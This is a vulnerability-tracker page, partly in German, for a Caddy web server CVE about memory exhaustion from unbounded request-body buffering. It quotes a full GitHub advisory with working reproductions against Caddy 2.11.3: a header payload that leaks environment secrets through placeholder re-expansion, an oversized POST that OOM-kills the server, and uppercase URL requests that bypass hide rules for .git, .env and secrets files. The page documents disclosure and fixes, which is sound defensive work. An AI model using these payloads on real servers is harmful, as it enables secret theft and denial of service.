CVE-2026-92284

mediumPriorität · verfolgen · 0EPSS 0.004 · 33. PerzentilUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.39% (33rd) EPSS
CVSS 6.5 · medium
Is it mine?
1 products
Prüfe deine Angriffsfläche
Who says so?
1 sources
osv

EPSS · bewertet 2026-10-28

Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/replacer.go, resolving http.request.body reads the complete request body with an unbounded io.Copy before request-body middleware limits apply, allowing memory exhaustion and process termination.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

6.9
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · low–medium · 2.7–6.9

v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Lsecondary · OSV
v4.06.9mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.02.7lowCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (1)

Betroffene Produkte und Versionsbereiche.

05

Advisories (4)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-j8px-rmrx-76h9Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass2026-09-18ghsa · osvUS

    # Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer **Tested against:** `caddy:2.11.3` (official Docker image, SHA verified at runtime) **Reproduction environment:** Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified `caddy:2.11.3` image with the minimal Caddyfile that the documentation suggests for the affected feature. --- ## Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure **File:** `modules/caddyhttp/rewrite/rewrite.go:215-249` and `buildQueryString` at `327` **Class:** CWE-94 (Code Injection), same bug class as CVE-2026-30852 (`vars_regexp`) **Severity:** Low (requires operator config with trailing `?` in rewrite URI) ### Root cause When the operator's `rewrite` URI template: 1. Contains a placeholder that resolves to request data (e.g. `{http.request.header.X-Foo}`), AND 2. Ends with a literal `?` (with empty query side) …then the bytes produced by the **first** Replacer pass (which include attacker-controlled header values) are fed through `buildQueryString`, which runs a **second** Replacer pass and resolves any placeholders the attacker injected. ```go // rewrite.go (abridged) newPath = repl.ReplaceAll(path, "") // pass 1 — header expanded if before, after, found := strings.Cut(newPath, "?"); found { var injectedQuery string newPath, injectedQuery = before, after if query == "" { // trailing-? branch query = injectedQuery // attacker bytes flow into 'query' } } if query != "" { newQuery = buildQueryString(query, repl) // pass 2 — RE-EXPANDS attacker input } ``` This is the same gadget that was patched in `vars_regexp` (CVE-2026-30852). The fix did not extend to `rewrite`, and there is no equivalent regression test for it in `rewrite_test.go` (compare `vars_test.go:63,69,75`). ### Reproduction (real Caddy 2.11.3) `Caddyfile`: ``` { admin off auto_https off } :8080 { rewrite * /serve/{http.request.header.X-Fwd}? respond "PATH={path} QUERY={query}" } ``` `docker-compose.yml`: ```yaml services: caddy: image: caddy:2.11.3 environment: DATABASE_URL: "postgres://leaked:supersecret@dbserver/production" ports: ["8080:8080"] volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"] ``` Exploit: ``` $ docker compose up -d $ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak" PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak ``` URL-decoded query: `postgres://leaked:supersecret@dbserver/production=leak`. The `DATABASE_URL` env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via `reverse_proxy`, and be readable via `{http.request.uri.query}` in any downstream handler. ### Available read primitives The same gadget exposes any placeholder the attacker can name in their injected substring: - `{env.X}` — any env var on the Caddy process - `{file./path}` — any file readable by the Caddy process (if `file` provider is registered) - `{vars.X}` — Caddy-internal request variables ### Suggested fix (mirrors the CVE-2026-30852 patch) After splitting at `?`, sanitize placeholder syntax in the injected query before passing it to `buildQueryString`: ```go if before, after, found := strings.Cut(newPath, "?"); found { var injectedQuery string newPath, injectedQuery = before, after if query == "" { injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B") injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D") query = injectedQuery } } ``` Also recommend adding equivalent regression tests in `rewrite_test.go` to the three "is not re-expanded" tests in `vars_test.go`. --- ## Issue 2: Unbounded body buffer via `{http.request.body}` placeholder — memory exhaustion DoS **File:** `modules/caddyhttp/replacer.go:217-245` (placeholder resolution for `http.request.body`) **Class:** CWE-770 (Allocation of Resources Without Limits) **Severity:** Moderate (any operator using the documented `log_append body {http.request.body}` pattern is vulnerable) ### Root cause When any handler references the `{http.request.body}` placeholder, the replacer code path reads the entire request body into a byte slice via `io.Copy(buf, req.Body)` with **no `LimitReader`** wrapping. The `needsEarly` flag bypasses the `request_body` middleware's size limit, because the placeholder is resolved before that middleware sees the request. This means an attacker can send a request body of any size (up to whatever `Content-Length` they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires. ### Reproduction (real Caddy 2.11.3, 512 MB container cap) `Caddyfile`: ``` { admin off auto_https off } :8080 { log_append body {http.request.body} respond "OK, length received: {http.request.header.Content-Length}" } ``` `docker-compose.yml`: ```yaml services: caddy: image: caddy:2.11.3 mem_limit: 512m memswap_limit: 512m ports: ["8080:8080"] volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"] ``` Exploit (Windows PowerShell): ``` PS> fsutil file createnew big.bin 1073741824 File C:\caddy-verify\test3-body-dos\big.bin is created PS> curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/ curl: (28) Operation timed out after 120010 milliseconds with 0 bytes received ``` Container state immediately after: ``` PS> docker ps -a --filter name=caddy-verify-3 CONTAINER ID IMAGE STATUS NAMES 7f8ba392e7b5 caddy:2.11.3 Exited (137) 2 minutes ago caddy-verify-3 PS> docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}" ExitCode=137 OOMKilled=true ``` `OOMKilled=true` is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after `"serving initial configuration"` with no error message, which is the signature of a process killed mid-allocation by SIGKILL. A small body works fine: ``` $ curl -X POST -d "hello world" http://localhost:8080/ OK, length received: 11 ``` ### Real-world exploitability The `log_append body {http.request.body}` pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like `expression {http.request.body}.contains('admin')`, custom header forwarding with `header_up X-Original-Body {http.request.body}`, and any third-party module that resolves the placeholder. Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability. ### Suggested fix Wrap the body read with a `LimitReader` keyed off either: 1. The operator's configured `request_body.max_size` (if set), or 2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies. If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged. --- ## Issue 3: `fileHidden()` case-sensitive pattern bypass — exposes "hidden" files via case variation **File:** `modules/caddyhttp/fileserver/staticfiles.go:669-718` (the `fileHidden` function and `filepath.Match` call) **Class:** CWE-178 (Improper Handling of Case Sensitivity) **Severity:** Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist) ### Root cause `fileHidden()` uses `filepath.Match`, which is **case-sensitive**. However: - **macOS APFS** is case-insensitive by default - **Windows NTFS** is case-insensitive by default - **Linux ext4** can be configured with the `casefold` flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side On a case-insensitive filesystem, the OS resolves `/.git` and `/.GIT` to the same directory, but Caddy's hide check only fires on the exact-case literal `.git`. Result: the file is served via the uppercase URL. On a case-sensitive filesystem where both `.git` and `.GIT` exist as separate directories, Caddy hides only `.git` and exposes `.GIT`. ### Reproduction (real Caddy 2.11.3) `Caddyfile`: ``` { admin off auto_https off } :8080 { root * /srv file_server { hide .git .env secrets } } ``` Setup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container): ``` /srv/.git/HEAD "ref: refs/heads/main" /srv/.GIT/HEAD "ref: refs/heads/main (UPPERCASE BYPASS)" /srv/.env "DATABASE_URL=postgres://user:pass@host" /srv/.ENV "DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)" /srv/secrets/api.txt "supersecret_api_key=sk_live_real" /srv/SECRETS/api.txt "supersecret_api_key=sk_live_real (UPPERCASE BYPASS)" ``` Test transcript (all three hide rules — `.git`, `.env`, `secrets` — bypassed via uppercase): ``` PS> curl.exe -i http://localhost:8080/.git/HEAD HTTP/1.1 404 Not Found Content-Length: 0 PS> curl.exe -i http://localhost:8080/.GIT/HEAD HTTP/1.1 200 OK Content-Length: 40 ref: refs/heads/main (UPPERCASE BYPASS) PS> curl.exe -i http://localhost:8080/.env HTTP/1.1 404 Not Found Content-Length: 0 PS> curl.exe -i http://localhost:8080/.ENV HTTP/1.1 200 OK Content-Length: 58 DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS) PS> curl.exe -i http://localhost:8080/secrets/api.txt HTTP/1.1 404 Not Found Content-Length: 0 PS> curl.exe -i http://localhost:8080/SECRETS/api.txt HTTP/1.1 200 OK Content-Length: 52 Content-Type: text/plain; charset=utf-8 supersecret_api_key=sk_live_real (UPPERCASE BYPASS) ``` Three separate hide rules, three separate uppercase bypasses, all 200 OK with the "hidden" content served. ### Why this matters in practice `.git`, `.env`, and `secrets/` are three of the most common entries in production Caddy `hide` configurations because they correspond to high-value attacker targets: - `.git/HEAD` + `.git/config` + `.git/objects/` → source code disclosure - `.env` → credentials, API keys, database connection strings - `secrets/` → operator-named bucket of anything sensitive The bug means that on macOS and Windows hosts (and a subset of Linux hosts), the `hide` directive provides **no protection at all** for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there. ### Suggested fix In `fileHidden()`, on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable "is this filesystem case-insensitive" check, so a reasonable conservative approach is to always lowercase both sides on `GOOS=darwin` and `GOOS=windows`, and to document for Linux operators that they should not rely on `hide` if their filesystem has `casefold` enabled or if they manage their files with case-folding tools. Alternative: enforce that paths matched by `hide` are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching. --- ## Reproduction kit A full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official `caddy:2.11.3` Docker image. ## Reporter Independent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.

  • CVE-2026-77281Caddy: rewrite placeholder re-expansion2026-09-17vendor · osvUS

    Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The issue is fixed in version 2.11.4.

  • CVE-2026-92700Caddy: fileHidden() case-sensitive pattern bypass — exposes "hidden" files via case variation2026-09-23vendor · osvUS

    Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/fileserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules on case-insensitive filesystems or when mixed-case paths coexist and expose files intended to be hidden.

  • GO-2026-6512Vulnerabilities in handler/placeholder layer in github.com/caddyserver/caddy2026-10-01vendor · osvUS

    Rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass in github.com/caddyserver/caddy

06

auch bekannt als (2)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-09-23geändert 2026-09-30
08

Referenzen (1) nvd

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan